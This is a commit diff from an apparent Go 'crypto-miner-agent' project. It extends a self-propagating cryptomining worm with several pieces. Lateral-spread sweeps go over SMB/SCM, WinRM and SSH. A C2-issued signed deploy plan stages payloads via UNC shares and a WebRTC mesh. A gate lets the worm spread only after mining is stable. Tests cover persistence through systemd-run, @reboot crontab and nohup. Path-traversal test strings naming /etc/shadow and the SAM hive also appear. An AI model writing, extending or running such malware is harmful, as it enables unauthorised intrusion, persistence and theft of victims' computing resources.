Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -45,6 +45,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
|
||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
return "autospread deferred: " + reason
|
||||
}
|
||||
go spreadToLocalSubnet(cfg)
|
||||
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||
go spreadViaWinRM(cfg)
|
||||
@@ -58,6 +61,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
log.Printf("[autospread] spread deferred: %s", reason)
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
||||
beginSpreadSweep("smb_scm", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
|
||||
@@ -36,6 +36,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
|
||||
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
return "autospread deferred: " + reason
|
||||
}
|
||||
go spreadUnixSubnet(cfg)
|
||||
return "unix lateral spread sweep started (SSH :22)"
|
||||
}
|
||||
@@ -44,6 +47,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
log.Printf("[autospread] spread deferred: %s", reason)
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -34,6 +34,40 @@ func TestResolveRemotePathDesktopPrefix(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveRemotePathRejectsTraversalVariants(t *testing.T) {
|
||||
cases := []string{
|
||||
"../../etc/passwd",
|
||||
`..\..\Windows\System32\config\sam`,
|
||||
"uploads/../../outside.txt",
|
||||
"/var/log/../../etc/shadow",
|
||||
"..",
|
||||
"~/../../etc/passwd",
|
||||
"@desktop/../../outside.txt",
|
||||
"desktop:../../payload.bin",
|
||||
"safe/inner/../../../etc/shadow",
|
||||
}
|
||||
for _, path := range cases {
|
||||
if _, err := ResolveRemotePath(path); err == nil {
|
||||
t.Fatalf("ResolveRemotePath(%q) should reject traversal", path)
|
||||
} else if !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("ResolveRemotePath(%q) error=%q", path, err.Error())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRemotePathHasTraversal(t *testing.T) {
|
||||
for _, path := range []string{"../x", "desktop:../../x", "foo/../bar"} {
|
||||
if !remotePathHasTraversal(path) {
|
||||
t.Fatalf("expected traversal for %q", path)
|
||||
}
|
||||
}
|
||||
for _, path := range []string{"~/Downloads", "notes.txt", "@desktop/report.pdf"} {
|
||||
if remotePathHasTraversal(path) {
|
||||
t.Fatalf("safe path flagged as traversal: %q", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestUserDesktopDir(t *testing.T) {
|
||||
dir, err := UserDesktopDir()
|
||||
if err != nil {
|
||||
|
||||
@@ -12,6 +12,19 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||
type WebRTCMeshPlanBody struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
@@ -38,8 +51,9 @@ type DeployPlanBody struct {
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
||||
@@ -69,10 +83,18 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
|
||||
|
||||
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
||||
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
||||
return ExecuteDeployPlanAs(cfg, plan, "")
|
||||
}
|
||||
|
||||
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
|
||||
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
|
||||
lane := strings.TrimSpace(plan.JoinLane)
|
||||
if lane == "" {
|
||||
lane = strings.TrimSpace(plan.Action)
|
||||
}
|
||||
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
|
||||
return deferMsg, nil
|
||||
}
|
||||
switch lane {
|
||||
case "do_peer":
|
||||
if plan.Manifest == nil {
|
||||
@@ -135,6 +157,20 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
if policy.RotationHours <= 0 {
|
||||
policy.RotationHours = DefaultWebRTCRotationHours
|
||||
}
|
||||
execID := strings.TrimSpace(executorAgentID)
|
||||
if execID != "" {
|
||||
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
|
||||
policy.IsSeeder = true
|
||||
}
|
||||
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
|
||||
policy.IsSeeder = true
|
||||
}
|
||||
}
|
||||
if !policy.IsSeeder {
|
||||
if seeder := PreferredLANSeeder(); seeder != nil {
|
||||
ApplyLANSeederToWebRTC(&policy, seeder)
|
||||
}
|
||||
}
|
||||
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
||||
Policy: policy,
|
||||
SHA256: plan.Manifest.SHA256,
|
||||
@@ -191,6 +227,27 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
}
|
||||
}
|
||||
|
||||
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
||||
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
||||
return "", false
|
||||
}
|
||||
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
|
||||
if egress == "" || egress == executorAgentID {
|
||||
return "", false
|
||||
}
|
||||
switch lane {
|
||||
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
||||
return fmt.Sprintf(
|
||||
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
|
||||
egress,
|
||||
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
||||
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
||||
), true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
|
||||
func runJoinScript(script string, windows bool) error {
|
||||
script = strings.TrimSpace(script)
|
||||
if script == "" {
|
||||
@@ -257,6 +314,10 @@ func PickLocalJoinLane(discoveryJSON string) string {
|
||||
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
||||
|
||||
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
|
||||
}
|
||||
|
||||
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
||||
result, parseErr := ParseServiceDiscoverJSON(raw)
|
||||
if parseErr != nil {
|
||||
@@ -285,13 +346,34 @@ func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan Dep
|
||||
if joinLane == "" {
|
||||
joinLane = resp.Plan.JoinLane
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
|
||||
if cfg.ScoutMode {
|
||||
return joinLane, "scout: join lane mapped (no payload staging)", nil
|
||||
}
|
||||
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
|
||||
if err != nil {
|
||||
return joinLane, "", err
|
||||
}
|
||||
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
|
||||
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
|
||||
}
|
||||
return joinLane, msg, nil
|
||||
}
|
||||
|
||||
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
|
||||
if hint == nil {
|
||||
return detail
|
||||
}
|
||||
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
|
||||
strings.TrimSpace(hint.EgressAgentID),
|
||||
strings.TrimSpace(hint.SeedAgentID),
|
||||
hint.Score,
|
||||
)
|
||||
if detail == "" {
|
||||
return routeNote
|
||||
}
|
||||
return detail + "; " + routeNote
|
||||
}
|
||||
|
||||
// runServiceDiscoverFn allows tests to stub discovery output.
|
||||
var runServiceDiscoverFn func(maxLANHosts int) string
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
@@ -182,6 +183,58 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "spread_smb_unc",
|
||||
Action: "spread_smb_unc",
|
||||
UNCPath: `\\forge\share\worker.exe`,
|
||||
SpreadRouteHint: &SpreadRouteHint{
|
||||
TargetSubnet: "10.1.2",
|
||||
SeedAgentID: "seed-hop",
|
||||
EgressAgentID: "seed-hop",
|
||||
Score: 0.82,
|
||||
},
|
||||
}
|
||||
msg, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "patient-zero")
|
||||
if err != nil {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
if !strings.Contains(msg, "spread_route_hint") || !strings.Contains(msg, "seed-hop") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
|
||||
payload := []byte("webrtc-seed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldFn := webrtcMeshReceiveFn
|
||||
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
if !policy.IsSeeder {
|
||||
return nil, fmt.Errorf("expected seeder role")
|
||||
}
|
||||
return payload, nil
|
||||
}
|
||||
defer func() { webrtcMeshReceiveFn = oldFn }()
|
||||
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
|
||||
WebRTCMesh: &WebRTCMeshPlanBody{SeederAgentID: "seed-agent"},
|
||||
SpreadRouteHint: &SpreadRouteHint{SeedAgentID: "seed-agent", EgressAgentID: "seed-agent"},
|
||||
Manifest: &StagingManifest{
|
||||
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
|
||||
},
|
||||
}
|
||||
_, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "seed-agent")
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
||||
return
|
||||
}
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
|
||||
payload := []byte("webrtc-signed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
|
||||
82
agent/deploy/hashrate_gate.go
Normal file
82
agent/deploy/hashrate_gate.go
Normal file
@@ -0,0 +1,82 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
var spreadGateClock = time.Now
|
||||
|
||||
type spreadGateState struct {
|
||||
mu sync.Mutex
|
||||
stableSince time.Time
|
||||
chainExhausted bool
|
||||
lastHashrate float64
|
||||
}
|
||||
|
||||
var spreadGate spreadGateState
|
||||
|
||||
// SetSpreadMiningTelemetry updates hashrate and chain state for autospread gating.
|
||||
func SetSpreadMiningTelemetry(hashrate float64, chainExhausted bool) {
|
||||
spreadGate.mu.Lock()
|
||||
defer spreadGate.mu.Unlock()
|
||||
spreadGate.chainExhausted = chainExhausted
|
||||
spreadGate.lastHashrate = hashrate
|
||||
}
|
||||
|
||||
func resetSpreadGateForTest() {
|
||||
spreadGate.mu.Lock()
|
||||
spreadGate.stableSince = time.Time{}
|
||||
spreadGate.chainExhausted = false
|
||||
spreadGate.lastHashrate = 0
|
||||
spreadGate.mu.Unlock()
|
||||
}
|
||||
|
||||
// HashrateGateEnabled reports whether server policy requires stable mining before spread.
|
||||
func HashrateGateEnabled(cfg config.RuntimeConfig) bool {
|
||||
return cfg.HashrateGateSpreadMin > 0 && cfg.HashrateGateHPS > 0
|
||||
}
|
||||
|
||||
// AllowAutospread enforces earn-before-burn: stable hashrate and non-exhausted chain.
|
||||
func AllowAutospread(cfg config.RuntimeConfig) (bool, string) {
|
||||
spreadGate.mu.Lock()
|
||||
exhausted := spreadGate.chainExhausted
|
||||
spreadGate.mu.Unlock()
|
||||
if exhausted {
|
||||
return false, "mining chain exhausted"
|
||||
}
|
||||
if !HashrateGateEnabled(cfg) {
|
||||
return true, ""
|
||||
}
|
||||
|
||||
spreadGate.mu.Lock()
|
||||
defer spreadGate.mu.Unlock()
|
||||
now := spreadGateClock()
|
||||
if spreadGate.lastHashrate < cfg.HashrateGateHPS {
|
||||
spreadGate.stableSince = time.Time{}
|
||||
return false, "hashrate below gate threshold"
|
||||
}
|
||||
if spreadGate.stableSince.IsZero() {
|
||||
spreadGate.stableSince = now
|
||||
}
|
||||
need := time.Duration(cfg.HashrateGateSpreadMin) * time.Minute
|
||||
if now.Sub(spreadGate.stableSince) < need {
|
||||
return false, "hashrate stability window not met"
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
// StableMiningDurationForTest returns how long hashrate has been above threshold (tests only).
|
||||
func StableMiningDurationForTest(cfg config.RuntimeConfig) time.Duration {
|
||||
if !HashrateGateEnabled(cfg) {
|
||||
return 0
|
||||
}
|
||||
spreadGate.mu.Lock()
|
||||
defer spreadGate.mu.Unlock()
|
||||
if spreadGate.stableSince.IsZero() || spreadGate.lastHashrate < cfg.HashrateGateHPS {
|
||||
return 0
|
||||
}
|
||||
return spreadGateClock().Sub(spreadGate.stableSince)
|
||||
}
|
||||
93
agent/deploy/hashrate_gate_test.go
Normal file
93
agent/deploy/hashrate_gate_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowAutospreadBlocksChainExhausted(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
HashrateGateSpreadMin: 5,
|
||||
HashrateGateHPS: 100,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(500, true)
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if ok || reason != "mining chain exhausted" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowAutospreadRequiresStableHashrate(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
spreadGateClock = func() time.Time { return base }
|
||||
t.Cleanup(func() { spreadGateClock = time.Now })
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
HashrateGateSpreadMin: 10,
|
||||
HashrateGateHPS: 100,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(150, false)
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if ok || reason != "hashrate stability window not met" {
|
||||
t.Fatalf("first tick ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
|
||||
spreadGateClock = func() time.Time { return base.Add(11 * time.Minute) }
|
||||
ok, reason = AllowAutospread(cfg)
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
spreadGateClock = func() time.Time { return base }
|
||||
t.Cleanup(func() { spreadGateClock = time.Now })
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
HashrateGateSpreadMin: 5,
|
||||
HashrateGateHPS: 200,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(250, false)
|
||||
spreadGateClock = func() time.Time { return base }
|
||||
if ok, _ := AllowAutospread(cfg); ok {
|
||||
t.Fatal("expected window not met on first tick")
|
||||
}
|
||||
spreadGateClock = func() time.Time { return base.Add(6 * time.Minute) }
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
t.Fatalf("expected stable after 6m, reason=%q", reason)
|
||||
}
|
||||
SetSpreadMiningTelemetry(50, false)
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if ok || reason != "hashrate below gate threshold" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
AutoSpread: true,
|
||||
HashrateGateSpreadMin: 10,
|
||||
HashrateGateHPS: 100,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(0, false)
|
||||
msg := RunSpreadOnce(cfg)
|
||||
if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" {
|
||||
t.Fatalf("expected gate message, got %q", msg)
|
||||
}
|
||||
}
|
||||
87
agent/deploy/lan_seeder.go
Normal file
87
agent/deploy/lan_seeder.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// LANSeederHint is a nearby seeder pushed on miner auth when fleet roles are enabled.
|
||||
type LANSeederHint struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
IP string `json:"ip,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
}
|
||||
|
||||
// NearestLANSeeder picks the closest seeder by IP prefix match (same /24 preferred).
|
||||
func NearestLANSeeder(seeders []LANSeederHint, localIP string) *LANSeederHint {
|
||||
if len(seeders) == 0 {
|
||||
return nil
|
||||
}
|
||||
localPrefix := subnet24(localIP)
|
||||
var best *LANSeederHint
|
||||
bestScore := -1
|
||||
for i := range seeders {
|
||||
s := &seeders[i]
|
||||
score := 0
|
||||
if localPrefix != "" && subnet24(s.IP) == localPrefix {
|
||||
score = 2
|
||||
} else if strings.TrimSpace(s.IP) != "" {
|
||||
score = 1
|
||||
}
|
||||
if score > bestScore {
|
||||
bestScore = score
|
||||
best = s
|
||||
}
|
||||
}
|
||||
if best == nil {
|
||||
return &seeders[0]
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
// ApplyLANSeederToWebRTC overrides mesh policy with the nearest LAN seeder fallback URL.
|
||||
func ApplyLANSeederToWebRTC(policy *WebRTCMeshPolicy, seeder *LANSeederHint) {
|
||||
if policy == nil || seeder == nil {
|
||||
return
|
||||
}
|
||||
if u := strings.TrimSpace(seeder.LANFallbackURL); u != "" {
|
||||
policy.LANFallbackURL = u
|
||||
}
|
||||
if id := strings.TrimSpace(seeder.AgentID); id != "" {
|
||||
policy.SeederAgentID = id
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
activeLANSeeders []LANSeederHint
|
||||
activeLANSeedersLocalIP string
|
||||
)
|
||||
|
||||
// SetLANSeederHints stores miner auth hints for webrtc/do_peer staging pulls.
|
||||
func SetLANSeederHints(seeders []LANSeederHint, localIP string) {
|
||||
activeLANSeeders = append([]LANSeederHint(nil), seeders...)
|
||||
activeLANSeedersLocalIP = localIP
|
||||
}
|
||||
|
||||
// PreferredLANSeeder returns the nearest seeder from auth hints.
|
||||
func PreferredLANSeeder() *LANSeederHint {
|
||||
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
|
||||
}
|
||||
|
||||
func subnet24(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return ""
|
||||
}
|
||||
host := ip
|
||||
if strings.Contains(ip, ":") {
|
||||
if h, _, err := net.SplitHostPort(ip); err == nil {
|
||||
host = h
|
||||
}
|
||||
}
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
return parts[0] + "." + parts[1] + "." + parts[2]
|
||||
}
|
||||
22
agent/deploy/lan_seeder_test.go
Normal file
22
agent/deploy/lan_seeder_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package deploy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNearestLANSeederPrefersSameSubnet(t *testing.T) {
|
||||
seeders := []LANSeederHint{
|
||||
{AgentID: "far", IP: "10.0.9.1", LANFallbackURL: "http://10.0.9.1/manifest"},
|
||||
{AgentID: "near", IP: "192.168.1.50", LANFallbackURL: "http://192.168.1.50/manifest"},
|
||||
}
|
||||
got := NearestLANSeeder(seeders, "192.168.1.10")
|
||||
if got == nil || got.AgentID != "near" {
|
||||
t.Fatalf("got %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyLANSeederToWebRTC(t *testing.T) {
|
||||
policy := WebRTCMeshPolicy{}
|
||||
ApplyLANSeederToWebRTC(&policy, &LANSeederHint{AgentID: "seed-1", LANFallbackURL: "http://lan/seed"})
|
||||
if policy.SeederAgentID != "seed-1" || policy.LANFallbackURL != "http://lan/seed" {
|
||||
t.Fatalf("policy=%+v", policy)
|
||||
}
|
||||
}
|
||||
65
agent/deploy/linux_lotl_test.go
Normal file
65
agent/deploy/linux_lotl_test.go
Normal file
@@ -0,0 +1,65 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
|
||||
cmd := sshSpreadStartCmd("/tmp/af-worker")
|
||||
for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
|
||||
if !strings.Contains(cmd, want) {
|
||||
t.Fatalf("cmd=%q missing %q", cmd, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "systemd-run --user") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
if !strings.Contains(cmd, "--defer-mining") {
|
||||
t.Fatal("expected defer-mining in systemd persist")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
|
||||
if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
|
||||
ok, msg := tryLotlTier(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
|
||||
}, "linux")
|
||||
if !ok {
|
||||
t.Fatalf("linux tier should succeed, got %q", msg)
|
||||
}
|
||||
if !strings.Contains(msg, "ssh") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
49
agent/deploy/scout_discover_test.go
Normal file
49
agent/deploy/scout_discover_test.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ScoutMode: true,
|
||||
FleetSecret: "test-secret",
|
||||
}}
|
||||
fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "do_peer",
|
||||
Action: "do_peer",
|
||||
Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
|
||||
}
|
||||
raw, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
||||
mac.Write(raw)
|
||||
sig := hex.EncodeToString(mac.Sum(nil))
|
||||
return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
|
||||
}
|
||||
runServiceDiscoverFn = func(_ int) string {
|
||||
return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
|
||||
}
|
||||
t.Cleanup(func() { runServiceDiscoverFn = nil })
|
||||
|
||||
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if lane != "do_peer" {
|
||||
t.Fatalf("lane=%q", lane)
|
||||
}
|
||||
if !strings.Contains(detail, "no payload staging") {
|
||||
t.Fatalf("detail=%q", detail)
|
||||
}
|
||||
}
|
||||
55
agent/deploy/seeder_staging.go
Normal file
55
agent/deploy/seeder_staging.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"time"
|
||||
|
||||
